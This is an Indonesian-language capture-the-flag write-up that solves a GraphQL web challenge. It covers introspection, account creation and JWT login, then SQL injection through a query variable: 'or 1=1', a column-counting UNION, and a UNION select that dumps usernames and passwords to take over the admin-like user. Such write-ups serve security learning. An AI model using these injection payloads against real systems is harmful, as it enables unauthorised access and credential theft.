Berikut adalah tampilan awal dari web :

Coba capture request dengan burpsuite, disitu terdapat POST request ke /graphql dengan body seperti dibawah :

Kalau kita klik salah satu post, maka POST requestnya adalah sebagai berikut :

Jadi didalam GraphQL, terdapat 2 operasi yang paling umum digunakan, yaitu query dan mutation. Query adalah bentuk operasi yang digunakan ketika kita mau mengambil sebuah data. Sedangkan mutation adalah bentuk operasi yang digunakan ketika kita mau memanipulasi sebuah data, seperti insert, delete, atau update data. Tahap pertama yang biasa saya lakukan ketika berhadapan dengan GraphQL adalah melakukan Introspection Query. Introspection Query adalah bentuk query yang digunakan untuk mengenumerate query, mutation, fields, dan resource lainnya yang tersedia di GraphQL. Berikut adalah request body yang saya gunakan :
1 2 3 4 5 6 7 |
{ "operationName": "UserQuery", "variables": { "name": "Strawberry Cake" }, "query": "query UserQuery{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}" } |
Melalui introspection query, berikut adalah response yang diberikan :

Lalu paste hasil introspection ke https://apis.guru/graphql-voyager/ dan disitu terdapat 3 jenis query, yaitu flag, post, dan posts :

Langsung saja saya gunakan body berikut untuk mendapatkan flag :
1 2 3 4 5 6 7 |
{ "operationName": "UserQuery", "variables": { "name": "Strawberry Cake" }, "query": "query UserQuery{flag}" } |
Berikut adalah responsenya. Berdasarkan analisa saya, sepertinya kita perlu mendapatkan token dulu untuk dapat memperoleh flag :

Selanjutnya kita lihat mutation. Disitu ada 3 mutation yang tersedia, createUser, createPost, dan authenticateUser :

Disini saya akan coba createUser terlebih dahulu, dengan payload :
1 2 3 4 5 |
{ "operationName": "AuthMutation", "variables": {}, "query": "mutation AuthMutation{createUser(username : \"chevaliers\", password : \"123\"){username, password,id}}" } |
Response dari server sepertinya menunjukkan bahwa register berhasil :

Selanjutnya, saya coba autentikasi dengan username dan password yang telah didapat, dengan body :
1 2 3 4 5 |
{ "operationName": "AuthMutation", "variables": {}, "query": "mutation AuthMutation{authenticateUser(username : \"chevaliers\", password : \"123\"){token}}" } |
Berikut adalah response dari server. Saya berhasil mendapatkan JWT token :

Lalu ambil flag dengan mengsupply JWT token di request header dan dengan body :
1 2 3 4 5 6 7 |
{ "operationName": "FlagQuery", "variables": { "name": "Strawberry Cake" }, "query": "query FlagQuery{flag}" } |
Lalu server memberikan response bahwa hanya congon4tor yang dapat memperoleh flag :

Disitu user congon4tor sudah teregister, makanya userID kita bernilai 2. Lalu terpikirlah saya untuk nyoba SQL injection pada variable, untuk mendapatkan password congon4tor. Ini adalah request mula-mula sebelum payload SQLI:

Setelah payload sqli :
1 2 3 4 5 6 7 |
{ "operationName": "UserQuery", "variables": { "name": "Strawberry Cake' or 1=1 -- -" }, "query": "query UserQuery($name: String!) {\n post(name: $name) {\n id\n name\n image\n content\n author {\n username\n __typename\n }\n __typename\n }\n}\n" } |
Disitu semua post muncul :

Selanjutnya coba fuzzing jumlah column, dengan payload :
1 2 3 4 5 6 7 |
{ "operationName": "UserQuery", "variables": { "name": "Strawberry Cake' union select 1,2,3,4,5,6 -- -" }, "query": "query UserQuery($name: String!) {\n post(name: $name) {\n id\n name\n image\n content\n author {\n username\n __typename\n }\n __typename\n }\n}\n" } |
Lalu dapat jumlah columnnya ada 6 :

Lalu dengan payload sqli (disini saya menebak nama tablenya users. Saya coba user tidak bisa, dan saat coba table users bisa) :
1 2 3 4 5 6 7 |
{ "operationName": "UserQuery", "variables": { "name": "Strawberry Cake' union select 1,password,username,4,5,6 from users --" }, "query": "query UserQuery($name: String!) {\n post(name: $name) {\n id\n name\n image\n content\n author {\n username\n __typename\n }\n __typename\n }\n}\n" } |
Disini saya dapat credential dari congon4tor, yaitu congon4tor:n8bboB!3%vDwiASVgKhv. Berikut responsenya :

Lalu, login sebagai congon4tor dengan body :
1 2 3 4 5 |
{ "operationName": "AuthMutation", "variables": {}, "query": "mutation AuthMutation{authenticateUser(username : \"congon4tor\", password : \"n8bboB!3%vDwiASVgKhv\"){token}}" } |
Maka kita akan dapat JWT tokennya :

Lalu ambil flag dengan mengsupply JWT token milik congon4tor dan dengan body :
1 2 3 4 5 6 7 |
{ "operationName": "FlagQuery", "variables": { "name": "Strawberry Cake" }, "query": "query FlagQuery{flag}" } |
Lalu saya berhasil mendapatkan flag :

Flag : flag{9d26b6e4a765ecd87fe03a1494c22236}